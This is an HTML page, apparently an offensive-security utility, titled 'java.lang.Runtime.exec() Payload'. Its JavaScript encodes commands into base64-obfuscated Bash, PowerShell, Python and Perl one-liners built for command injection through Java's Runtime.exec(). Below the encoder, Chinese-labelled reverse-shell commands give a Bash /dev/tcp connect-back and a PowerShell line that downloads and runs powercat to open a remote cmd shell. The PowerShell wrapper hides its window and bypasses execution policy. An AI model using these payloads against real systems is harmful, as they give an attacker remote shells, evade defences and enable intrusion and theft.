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<title>java.lang.Runtime.exec() Payload</title>

</head><body><h1>java.lang.Runtime.exec() Payload</h1>
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label><p></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>

<b>Bash反弹命令：</b>
<p style="color:red;">bash -i &gt;&amp; /dev/tcp/IP/端口 0&gt;&amp;1</p>
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<b>PowerShell反弹命令：</b>
<p style="color:red;">powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd</p>
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